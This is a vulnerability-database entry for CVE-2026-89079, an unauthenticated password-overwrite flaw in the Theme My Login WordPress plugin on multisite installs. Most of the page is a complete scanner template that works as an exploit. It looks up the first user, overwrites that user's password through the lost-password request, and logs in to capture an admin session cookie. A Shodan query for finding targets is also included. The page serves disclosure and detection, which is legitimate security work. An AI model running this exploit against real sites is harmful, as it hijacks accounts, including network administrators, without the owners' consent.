CVE-2026-89079: Theme My Login <= 7.2.1 - Privilege Escalation

2026-11-09 PoC Public

Description

Theme My Login (TML) <= 7.2.1 for WordPress is vulnerable to unauthenticated account takeover on multisite installations. The multisite-only filter tml_ms_filter_pre_insert_user_data(), hooked on wp_pre_insert_user_data, hashes and injects $_POST['user_pass1'] into the user record whenever the tml_user_passwords network option is enabled, WITHOUT checking the $update flag. During a lost password request (wp-login.php?action=lostpassword -> retrieve_password() -> wp_update_user()), this filter fires on the EXISTING target user, overwriting their password with an attacker-chosen value. An unauthenticated attacker can therefore take over any account, including a network administrator, by sending user_pass1 in the lost-password POST. Fixed in 7.2.2 (changeset 3696081 / commit 06b76231) by adding the $update guard and only applying the password during activation.

Details

CVE
CVE-2026-89079 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-89079

info:
  name: Theme My Login <= 7.2.1 - Privilege Escalation
  author: DhiyaneshDk
  severity: critical
  description: |
    Theme My Login (TML) <= 7.2.1 for WordPress is vulnerable to unauthenticated account takeover on multisite installations. The multisite-only filter tml_ms_filter_pre_insert_user_data(), hooked on wp_pre_insert_user_data, hashes and injects $_POST['user_pass1'] into the user record whenever the tml_user_passwords network option is enabled, WITHOUT checking the $update flag. During a lost password request (wp-login.php?action=lostpassword -> retrieve_password() -> wp_update_user()), this filter fires on the EXISTING target user, overwriting their password with an attacker-chosen value. An unauthenticated attacker can therefore take over any account, including a network administrator, by sending user_pass1 in the lost-password POST. Fixed in 7.2.2 (changeset 3696081 / commit 06b76231) by adding the $update guard and only applying the password during activation.
  impact: |
    Complete unauthenticated account takeover of any user (including network administrators) on WordPress multisite installations running Theme My Login <= 7.2.1 with tml_user_passwords enabled.
  remediation: |
    Update Theme My Login to 7.2.2 or later. As mitigation, disable the tml_user_passwords network option until patched.
  reference:
    - https://patchstack.com/database/wordpress/plugin/theme-my-login/vulnerability/wordpress-theme-my-login-plugin-7-2-1-unauthenticated-privilege-escalation-vulnerability
    - https://plugins.trac.wordpress.org/changeset/3696081/theme-my-login
    - https://github.com/theme-my-login/theme-my-login/commit/06b76231b86150eed932db52646734486ecd0781
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89079
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-89079
    epss-score: 0.01631
    epss-percentile: 0.76387
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 3
    vendor: theme-my-login
    product: theme-my-login
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/theme-my-login"
  tags: cve,cve2026,wordpress,wp-plugin,theme-my-login,privilege-escalation,account-takeover,multisite,intrusive,vkev

variables:
  new_pass: "Tml{{rand_base(10)}}!Xk9"

flow: |
  http(1);
  if (template["target_user"]) {
    http(2);
    http(3);
  }

http:
  - raw:
      - |
        GET /wp-json/wp/v2/users?per_page=1&orderby=id&order=asc HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "slug")'
        internal: true

    extractors:
      - type: json
        name: target_user
        part: body
        json:
          - '.[0].slug'
        internal: true

  - raw:
      - |
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html, */*

        user_login={{target_user}}&user_pass1={{new_pass}}&user_pass2={{new_pass}}&redirect_to=&wp-submit=Get+New+Password&action=lostpassword

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP Cookie check
        Accept: text/html, */*

        log={{target_user}}&pwd={{new_pass}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
          - 'contains(header, "wp-admin")'
        condition: and

    extractors:
      - type: regex
        name: logged_in_as
        part: header
        group: 1
        regex:
          - "wordpress_logged_in[^=]*=([^%]+)%7C"
# digest: 490a00463044022064525cd4e7de3dde87ef8030f69d519bd3914f4743603e9a4af91169bbe33e8002204da3d60fe9dab8f91e049bccf7c479f8a2045791316c639beeef5093166a03e0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life